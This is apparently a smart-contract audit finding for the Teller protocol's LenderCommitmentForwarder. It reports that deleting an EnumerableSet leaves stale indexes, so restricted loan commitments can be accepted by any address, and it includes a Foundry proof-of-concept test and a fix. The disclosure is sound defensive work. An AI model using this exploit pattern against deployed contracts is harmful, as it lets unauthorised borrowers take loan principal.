monrel

high

# Unauthorized users can accept loans due to faulty update of commitmentBorrowerList

## Summary
 The `commitmentBorrowerList` can be corrupted due to incorrect usage of the `delete` keyword to remove objects from a mapping. This can lead to a state where anybody can accept a commitment even when the lender has updated the `commitmentBorrowersList` to only allow specific addresses.
 
## Vulnerability Detail

On [L240-L246](https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/LenderCommitmentForwarder.sol#L240-L246) in the LenderCommitmentForwarder contract we see the following code:
```solidity
function updateCommitmentBorrowers(
		  uint256 _commitmentId,
		  address[] calldata _borrowerAddressList
	  ) public commitmentLender(_commitmentId) {
		  delete commitmentBorrowersList[_commitmentId]; 
		  _addBorrowersToCommitmentAllowlist(_commitmentId,_borrowerAddressList);
}
```

`commitmentBorrowerList[_commitmentId]` is an `EnumerableSetUpgradaeable.AddressSet` structure which is the following struct from [OpenZeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/utils/structs/EnumerableSetUpgradeable.sol).
```solidity
struct Set {
  bytes32[] _values;
  mapping(bytes32 => uint256) _indexes;
} 

struct AddressSet {
  Set _inner;
}

```
Deleting a struct with a mapping will not actually clear the data in storage. The `_indexes` mapping will therefore still be intact.

On [L253-L261](https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/LenderCommitmentForwarder.sol#L253-L261) we see the following:
```solidity
function _addBorrowersToCommitmentAllowlist(
	  uint256 _commitmentId,
	  address[] calldata _borrowerArray
  ) internal {
	  for (uint256 i = 0; i < _borrowerArray.length; i++) {
		commitmentBorrowersList[_commitmentId].add(_borrowerArray[i]);
	  }
	  emit UpdatedCommitmentBorrowers(_commitmentId);
  }	  
```
`add` will run the following code. See [OpenZeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/utils/structs/EnumerableSetUpgradeable.sol).
```solidity
		  
function add(AddressSet storage set, address value) internal returns (bool) {
	return _add(set._inner, bytes32(uint256(uint160(value))));
}

function _add(Set storage set, bytes32 value) private returns (bool) {
	if (!_contains(set, value)) {
			set._values.push(value);
			// The value is stored at length-1, but we add 1 to all indexes
			// and use 0 as a sentinel value
			set._indexes[value] = set._values.length;
			return true;
	} else {
			return false;
	}
}

function _contains(Set storage set, bytes32 value) private view returns (bool) {
	  return set._indexes[value] != 0;
  
```

Since the `set._indexes` mapping is intact `_contains(set, values)` will return `true` for addresses that should have been removed. 

In `acceptCommitment()` on [L328-L332](https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/LenderCommitmentForwarder.sol#L328-L332) we find the code that checks if a commitment is limited to certain addresses:
```solidity
require(
	commitmentBorrowersList[_commitmentId].length() == 0 ||
		commitmentBorrowersList[_commitmentId].contains(borrower),
	"unauthorized commitment borrower"
)
```


There are three potential results of calling `updateCommitmentBorrowers()`:

If `_borrowerAddressList()` is empty then anybody can accept the commitment and everything is fine.

If `_borrowerAddressList()` contains at least one new address the `set_values` array will have a length>0 but all addresses that have been previously added will also pass the above `require()` check since `.contains(borrower)` will return `true`. This means that the old addresses have not been removed and can still accept a commitment even though they should not be able to.

If `_borrowerAddressList()` is a subset of the previous borrowers  `set._indexes` will be empty   since the `!_contains(set, values)` check is false for each address in the `_add()` function so nothing is ever pushed to `set_values`. The result is that the `require()` statement above passes for any address. Any address can now accept a committed loan that was supposed to only be accessible to specific addresses.

The following POC explores the third most severe example where anybody can accept a loan that should only be accessible to 1 address.

In the POC the following happens:

1. A lender allows Bob and Alice to accept their committed loan.
2. Only Bob and Alice are now able to accept loans.
3. The lender now calls `updateCommitmentBorrowers()` with a list containing only Bob with the intent to only allow Bob to accept loans.
4. Due to the faulty update code anybody can accept the loan

To run the POC paste the following code into the LenderCommitmentForwarder_Combined_Test file. and run `forge test --match-test test_POC_FailedRemovalOfBorrower`

```solidity
   function test_POC_FailedRemovalOfBorrower() public {

        LenderCommitmentUser borrower2;
        LenderCommitmentUser borrower3;

        borrower2 = new LenderCommitmentUser(address(tellerV2Mock), (this));
        borrower3 = new LenderCommitmentUser(address(tellerV2Mock), (this));
         
        address[] memory borrowersArray2 = new address[](2);
        borrowersArray2[0] = address(borrower);
        borrowersArray2[1] = address(borrower2);

        uint256 commitmentId = 0;

        Commitment storage commitment = _createCommitment(
            CommitmentCollateralType.ERC20,
            maxAmount
        );

        lender._updateCommitmentBorrowers(commitmentId, borrowersArray2);
        
        
        borrower._acceptCommitment(
            commitmentId,
            100, //principal
            maxAmount, //collateralAmount
            0, //collateralTokenId
            address(collateralToken),
            minInterestRate,
            maxLoanDuration
        );

        assertEq(
            acceptBidWasCalled,
            true,
            "Expect accept bid called after exercise"
        );

        acceptBidWasCalled = false;

        borrower2._acceptCommitment(
            commitmentId,
            100, //principal
            maxAmount, //collateralAmount
            0, //collateralTokenId
            address(collateralToken),
            minInterestRate,
            maxLoanDuration
        );


        assertEq(
            acceptBidWasCalled,
            true,
            "Expect accept bid called after exercise"
        );
        
        bool acceptCommitAsMarketOwnerFails;

        try
            marketOwner._acceptCommitment(
                commitmentId,
                100, //principal
                maxAmount, //collateralAmount
                0, //collateralTokenId
                address(collateralToken),
                minInterestRate,
                maxLoanDuration
            )
        {} catch {
            acceptCommitAsMarketOwnerFails = true;
        }

        assertEq(
            acceptCommitAsMarketOwnerFails,
            true,
            "Should fail when accepting as invalid borrower"
        );

       lender._updateCommitmentBorrowers(commitmentId, borrowersArray);
       
        //------- ANYBODY CAN ACCEPT COMMITMENTS -------
            
        acceptBidWasCalled = false;
        borrower2._acceptCommitment(
            commitmentId,
            100, //principal
            maxAmount, //collateralAmount
            0, //collateralTokenId
            address(collateralToken),
            minInterestRate,
            maxLoanDuration
        );

        assertEq(
            acceptBidWasCalled,
            true,
            "Expect accept bid called after exercise"
        );

        acceptBidWasCalled = false;
        borrower3._acceptCommitment(
            commitmentId,
            100, //principal
            maxAmount, //collateralAmount
            0, //collateralTokenId
            address(collateralToken),
            minInterestRate,
            maxLoanDuration
        );

        assertEq(
            acceptBidWasCalled,
            true,
            "Expect accept bid called after exercise"
        );

        acceptBidWasCalled = false;
        marketOwner._acceptCommitment(
            commitmentId,
            99, //principal
            maxAmount, //collateralAmount
            0, //collateralTokenId
            address(collateralToken),
            minInterestRate,
            maxLoanDuration
        );

        assertEq(
            acceptBidWasCalled,
            true,
            "Expect accept bid called after exercise"
        );
```

## Impact
If `_borrowerAddressList()` contains at least one new borrower the old borrowers can still accepted a loan.

If `_borrowerAddressList()` is a subset of the previous borrowers any user can now accept the loan.

This is a critical issue, especially for undercollateralized loans or loans that require no collateral due to off-chain coordination. In such a scenario any user can steal the principle.

## Code Snippet

https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/LenderCommitmentForwarder.sol#L240-L246

https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/LenderCommitmentForwarder.sol#L328-L332

https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/LenderCommitmentForwarder.sol#L253-L261


## Tool used
Vscode, foundry  
## Recommendation

To correctly remove borrowers use the `remove()` function in EnumerablSetUpgradeable.sol. 
